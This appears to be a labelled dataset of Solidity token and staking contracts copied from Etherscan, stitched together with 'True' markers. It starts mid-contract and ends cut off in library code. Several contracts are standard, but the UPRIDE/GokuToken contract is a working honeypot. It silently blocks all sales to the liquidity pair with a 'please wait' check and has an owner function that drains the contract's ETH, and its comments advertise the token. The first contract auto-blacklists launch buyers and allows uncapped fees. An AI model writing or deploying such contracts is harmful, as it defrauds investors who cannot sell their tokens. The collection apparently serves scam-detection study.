uint256 public _maxWalletSize = 50000000 * 10**9; // uint256 public _swapTokensAtAmount = 10000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; bots[address(0x66f049111958809841Bbe4b81c034Da2D953AA0c)] = true; bots[address(0x000000005736775Feb0C8568e7DEe77222a26880)] = true; bots[address(0x34822A742BDE3beF13acabF14244869841f06A73)] = true; bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true; bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true; bots[address(0x8484eFcBDa76955463aa12e1d504D7C6C89321F8)] = true; bots[address(0xe5265ce4D0a3B191431e1bac056d72b2b9F0Fe44)] = true; bots[address(0x33F9Da98C57674B5FC5AE7349E3C732Cf2E6Ce5C)] = true; bots[address(0xc59a8E2d2c476BA9122aa4eC19B4c5E2BBAbbC28)] = true; bots[address(0x21053Ff2D9Fc37D4DB8687d48bD0b57581c1333D)] = true; bots[address(0x4dd6A0D3191A41522B84BC6b65d17f6f5e6a4192)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }

True

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/** *Submitted for verification at Etherscan.io on 2021-11-23 */ // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; interface IERC20 { function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract StakingWarmup { address public immutable staking; address public immutable sLOBI; constructor(address _staking, address _sLOBI) { require(_staking != address(0)); staking = _staking; require(_sLOBI != address(0)); sLOBI = _sLOBI; } function retrieve(address _staker, uint256 _amount) external { require(msg.sender == staking); IERC20(sLOBI).transfer(_staker, _amount); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-01-25 */ pragma solidity 0.6.6; // ---------------------------------------------------------------------------- // 'GGMToken' token contract // // Deployed to : 0xFEB02D9383C49A8373F88e82EbCecB553c1837bf // Symbol : SUNI // Name : SUNIT // Total supply: 3000000 // Decimals : 18 // // Enjoy. // // (c) by Ahiwe Onyebuchi Valentine. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- abstract contract ERC20Interface { function totalSupply() virtual public view returns (uint); function balanceOf(address tokenOwner) virtual public view returns (uint balance); function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); function transfer(address to, uint tokens) virtual public returns (bool success); function approve(address spender, uint tokens) virtual public returns (bool success); function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract SUNI is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "SUNI"; name = "SUNIT"; decimals = 18; _totalSupply = 3000000 * 10 ** 18; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public override view returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public override view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public override returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public override returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public override returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public override view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ // function () external payable { // revert(); // } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }

True

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pragma solidity 0.6.9; pragma experimental ABIEncoderV2; struct Account { uint256 etherBalance; TokenBalance[] tokenBalances; } struct TokenBalance { bool callSuccess; uint256 balance; } interface ERC20Interface { function balanceOf(address account) external view returns (uint256 balance); } interface AccountWatcherInterface { function balancesOf( ERC20Interface[] calldata tokens, address[] calldata accounts ) external view returns (Account[] memory accountBalances); } /// Quickly check the Ether balance, as well as the balance of each /// supplied ERC20 token, for a collection of accounts. /// @author 0age contract AccountWatcherV2 is AccountWatcherInterface { function balancesOf( ERC20Interface[] calldata tokens, address[] calldata accounts ) external view override returns (Account[] memory) { Account[] memory accountBalances = new Account[](accounts.length); for (uint256 i = 0; i < accounts.length; i++) { address account = accounts[i]; TokenBalance[] memory tokenBalances = new TokenBalance[](tokens.length); for (uint256 j = 0; j < tokens.length; j++) { ERC20Interface token = tokens[j]; (bool success, bytes memory returnData) = address(token).staticcall( abi.encodeWithSelector(token.balanceOf.selector, account) ); if (success && returnData.length >= 32) { TokenBalance memory tokenBalance; tokenBalance.callSuccess = true; tokenBalance.balance = abi.decode(returnData, (uint256)); tokenBalances[j] = tokenBalance; } } accountBalances[i].etherBalance = account.balance; accountBalances[i].tokenBalances = tokenBalances; } return accountBalances; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-22 */ //UPRIDE LAUCNH TODAY 90% UNISWAP LAUNCH //10% INITIAL BURN //DEFLATIONARY TOKENOMICS WITH CHARITY WALLET //CEX LISTING APPLIED //FOMO - ONCE NFT PLATFORM GOES LIVE pragma solidity >=0.5.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0); c = a / b; } } contract BEP20Interface { function totalSupply() public view returns (uint256); function balanceOf(address tokenOwner) public view returns (uint256 balance); function allowance(address tokenOwner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom( address from, address to, uint256 tokens ) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval( address indexed tokenOwner, address indexed spender, uint256 tokens ); } contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 tokens, address token, bytes memory data ) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenBEP20 is BEP20Interface, Owned { using SafeMath for uint256; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; address public newun; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; constructor() public { symbol = "UPRIDE"; name = "UPRIDE"; decimals = 9; _totalSupply = 1000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint256) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint256 balance) { return balances[tokenOwner]; } function transfer(address to, uint256 tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint256 tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom( address from, address to, uint256 tokens ) public returns (bool success) { if (from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint256 remaining) { return allowed[tokenOwner][spender]; } function approveAndCall( address spender, uint256 tokens, bytes memory data ) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval( msg.sender, tokens, address(this), data ); return true; } function() external payable { revert(); } } contract GokuToken is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable {} }

True

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pragma solidity ^0.4.14; /* Simpler version of ERC20 interface see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /* ERC20 interface see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /* SafeMath - the lowest gas library Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /* Basic token Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /* Gets the balance of the specified address. param _owner The address to query the the balance of. return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /* Implementation of the basic standard token. https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /* Transfer tokens from one address to another param _from address The address which you want to send tokens from param _to address The address which you want to transfer to param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /* Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. param _spender The address which will spend the funds. param _value The amount of Roman Lanskoj's tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /* Function to check the amount of tokens that an owner allowed to a spender. param _owner address The address which owns the funds. param _spender address The address which will spend the funds. return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /* The Ownable contract has an owner address, and provides basic authorization control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; function Ownable() { owner = msg.sender; } /* Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /* Allows the current owner to transfer control of the contract to a newOwner. param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract TheLiquidToken is StandardToken, Ownable { // mint can be finished and token become fixed for forever event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /* Function to stop minting new tokens. return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract Arbitrage is TheLiquidToken { string public constant name = "Arbitrage Coin"; string public constant symbol = "RBTR"; uint public constant decimals = 5; uint256 public initialSupply; function Arbitrage () { totalSupply = 9999 * 10 ** decimals; balances[msg.sender] = totalSupply; initialSupply = totalSupply; Transfer(0, this, totalSupply); Transfer(this, msg.sender, totalSupply); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-12-10 */ // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason 